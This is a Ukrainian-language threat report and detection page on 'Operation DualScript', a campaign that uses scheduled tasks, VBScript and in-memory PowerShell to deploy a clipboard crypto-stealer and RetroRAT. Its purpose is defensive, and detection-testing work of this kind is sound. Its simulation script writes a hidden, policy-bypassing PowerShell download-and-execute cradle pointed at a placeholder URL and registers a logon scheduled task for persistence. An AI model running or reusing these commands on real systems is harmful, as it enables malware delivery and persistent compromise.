Операція DualScript: багатоступеневе PowerShell шкідливе програмне забезпечення націлене на криптовалюту та фінанси
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт описує Операцію DualScript, багатоступеневу кампанію шкідливого програмного забезпечення, яка покладається на збереження завдань за розкладом, VBScript-ланчери та PowerShell-лоадери для розгортання як викрадача буферу обміну, так і трояна віддаленого доступу RetroRAT. Зловмисники зберігають шкідливий PowerShell на зовнішніх серверах і виконують його повністю в пам’яті, щоб зменшити можливості виявлення. RetroRAT записує натискання клавіш, контролює активні вікна на фінансові ключові слова і відправляє викрадені дані через спеціальний TCP C2 канал. Кампанія спрямована на активність з криптовалютою та цільові банки США.
Дослідження
Аналітики виявили заплановані завдання, налаштовані на запуск файлів VBScript з шляхів, доступних для запису користувачами, які потім виконували прихований PowerShell з увімкненою можливістю обходу політики виконання. Було ідентифіковано два паралельні ланцюги доставки: один завантажував сценарій Wallet.txt для викрадення вмісту буфера обміну криптовалюти, а інший завантажував RetroRAT безпосередньо в пам’ять. Статичний аналіз також виявив логіку протидії аналізу, створення мутекса, багатопоточний кейлогінг і хардкодовий рядок рукопотиска C2.
Мітигація
Захисники повинні контролювати підозрілі заплановані завдання, які викликають VBScript або PowerShell з прихованими вікнами та аргументами обходу. Виявлення на кінцевих точках має бути зосереджено на виконанні PowerShell в пам’яті, незвичній поведінці моніторингу буфера обміну та створенні невідомих мутексів. Організації також повинні блокувати вихідний трафік до шкідливих доменів і застосовувати суворий контроль виконання до PowerShell і VBScript.
Реагування
Якщо ця активність виявлена, відключіть уражений хост, вимкніть шкідливі заплановані завдання та видаліть будь-які збережені артефакти VBScript або PowerShell. Проведіть повну судово-медичну перевірку для RetroRAT, захоплених даних з клавіатури та пов’язаного трафіку C2. Скиньте інформацію про гаманці криптовалюти, що були піддані загрозам і змініть банківські облікові дані. Відновіть уражені системи з чистих резервних копій та заблокуйте виявлені домени та IP-адреси на рівні мережі.
"graph TB %% Class definitions classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Nodes u2013 Techniques tech_persistence["<b>Техніка</b> – <b>T1053 Заплановане Завдання/Завдання</b><br/><b>Опис</b>: Створює заплановане завдання Windows, яке запускає VBScript-ланчер у прихованому режимі для збереження."] class tech_persistence technique tech_execution["<b>Техніка</b> – <b>T1059.001 PowerShell</b><br/><b>Опис</b>: Виконує код PowerShell через обхід політики виконання і запускає його безпосередньо в пам’яті."] class tech_execution technique tech_defense["<b>Техніка</b> – <b>T1497.002 Віртуалізація Ухилення від Пісочниці</b><br/><b>Опис</b>: Перевіряє наявність користувачів пісочниць та артефактів віртуальних машин; припиняє, якщо таке середовище виявлено."] class tech_defense technique tech_download["<b>Техніка</b> – <b>T1102 Веб-сервіс</b><br/><b>Опис</b>: Отримує віддалене навантаження (Wallet.txt) через HTTPS і перетворює його на ScriptBlock для виконання в пам’яті."] class tech_download technique tech_clipboard["<b>Техніка</b> – <b>T1115 Дані Буфера Обміну</b> та <b>T1204.004 Зловмисне Копіювання та Вставка</b><br/><b>Опис</b>: Контролює системний буфер обміну і змінює легітимні адреси криптовалюти на гаманці, контрольовані зловмисниками."] class tech_clipboard technique tech_keylog["<b>Техніка</b> – <b>T1056.001 Кейлогінг</b><br/><b>Опис</b>: Встановлює низькорівневий гачок для клавіатури, щоб захоплювати натискання клавіш під час фінансових сесій."] class tech_keylog technique tech_screen["<b>Техніка</b> – <b>T1113 Захоплення Екрану</b><br/><b>Опис</b>: Записує знімки екрану або транслює робочий стіл для візуального моніторингу активності жертви."] class tech_screen technique tech_c2["<b>Техніка</b> – <b>T1041 Експілтрація Через C2 Канал</b><br/><b>Опис</b>: Надсилає зібрані натискання клавіш, дані з буфера обміну та журнали на хардкодований C2 сервер за допомогою TCP клієнта."] class tech_c2 technique tech_process["<b>Техніка</b> – <b>T1543 Створення або Модифікація Системного Процесу</b><br/><b>Опис</b>: Заплановане завдання створює новий процес для навантаження PowerShell і пізніше створює додаткові потоки для паралельних функцій."] class tech_process technique tech_rdp["<b>Техніка</b> – <b>T1219.002 Програмне Забезпечення Віддаленого Робочого Столу</b><br/><b>Опис</b>: Дозволяє зловмиснику переглядати або керувати робочим столом жертви через компонент RetroRAT."] class tech_rdp technique tech_inputinj["<b>Техніка</b> – <b>T1674 Впорскування Вводу</b><br/><b>Опис</b>: Впорскує рядки гаманця, контрольовані зловмисником, у буфер обміну перед тим, як жертва вставляє вміст."] class tech_inputinj technique %% Nodes u2013 Artifacts file_vbscript["<b>Файл</b> – <b>Назва</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>Призначення</b>: Запускає навантаження PowerShell у прихованому режимі."] class file_vbscript file malware_retro["<b>Зловмисне програмне забезпечення</b> – <b>Назва</b>: RetroRAT<br/><b>Функція</b>: Забезпечує можливості віддаленого робочого столу та виконання команд."] class malware_retro malware %% Connections u2013 Flow tech_persistence –>|створює| file_vbscript file_vbscript –>|запускає| tech_execution tech_execution –>|використовує| tech_download tech_download –>|постачає навантаження до| tech_process tech_process –>|створює| tech_keylog tech_process –>|створює| tech_screen tech_process –>|створює| tech_clipboard tech_clipboard –>|дає змогу| tech_inputinj tech_keylog –>|експілтрує через| tech_c2 tech_screen –>|експілтрує через| tech_c2 tech_clipboard –>|експілтрує через| tech_c2 tech_process –>|запускає| tech_rdp tech_rdp –>|спілкується з| tech_c2 tech_rdp –>|запускає| malware_retro tech_defense –>|перевіряє перед| file_vbscript "
Потік атаки
Детекції
IOC (HashMd5) для виявлення: Операція DualScript – Багатоступенева Кампанія Шкідливого ПЗ на Базі PowerShell, Націлена на Криптовалюту і Фінансову Активність
Перегляд
Вихідні з’єднання до віддаленого сервера для отримання команд [Windows Network Connection]
Перегляд
Операція DualScript – Збереження Завдання за Розкладом з VBScript і PowerShell [Windows Scheduled Task]
Перегляд
Операція DualScript Завантаження Змісту на Віддалену Потужність і Викрадення Буфера Обміну [Windows Powershell]
Перегляд
Виконання Симуляції
Передумова: Передпольотна перевірка Телеметрії та Базових даних повинна бути пройдена.
Обґрунтування: Цей розділ детально описує точне виконання техніки противника (ТТП), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати виявлене ТТП і мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Нарратив атаки та команди:
Спочатку атакувач розміщує VBScript (dual.vbs) в каталозі профілю користувача. Скріпт має на меті запустити PowerShell з параметрами-WindowStyle Hiddenand-ExecutionPolicy Bypass, потім завантажити і виконати віддалене навантаження (імітується простимWrite-Host). Щоб забезпечити стійкість, атакувач реєструє завдання за розкладом (DualScriptPersist), яке запускає VBScript при вході в систему. Кожен крок створює два пов’язаних запису EventID 4104, які шукає правило. -
Сценарій регресійного тестування:
# ------------------------------------------------- # Симуляція атаки DualScript - PowerShell # ------------------------------------------------- # 1️⃣ Створити шкідливий VBScript у доступному для запису шляху користувача $vbsPath = "$env:USERPROFILEdual.vbs" $payloadUrl = "http://example.com/payload.ps1" # заповнювач URL $vbsContent = @" WScript.Sleep 500 Dim sh Set sh = CreateObject("WScript.Shell") sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`"" "@ $vbsContent | Set-Content -Path $vbsPath -Coding ASCII # 2️⃣ Зареєструвати завдання за розкладом, що запускає VBScript при кожному вході користувача в систему $taskName = "DualScriptPersist" $taskAction = "`"$vbsPath`"" schtasks.exe /Create ` /SC ONLOGON ` /RL HIGHEST ` /TN $taskName ` /TR $taskAction ` /F # 3️⃣ Змусити завдання негайно виконатися (тригерувати виявлення) schtasks.exe /Run /TN $taskName Write-Host "`n[+] Виконано симуляцію DualScript. Перевірте ваш SIEM на наявність попереджень." # ------------------------------------------------- -
Команди очищення:
# ------------------------------------------------- # Очищення після симуляції DualScript # ------------------------------------------------- $taskName = "DualScriptPersist" $vbsPath = "$env:USERPROFILEdual.vbs" # Видалити заплановане завдання schtasks.exe /Delete /TN $taskName /F # Видалити файл VBScript Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue Write-Host "`n[+] Очищення завершено." # -------------------------------------------------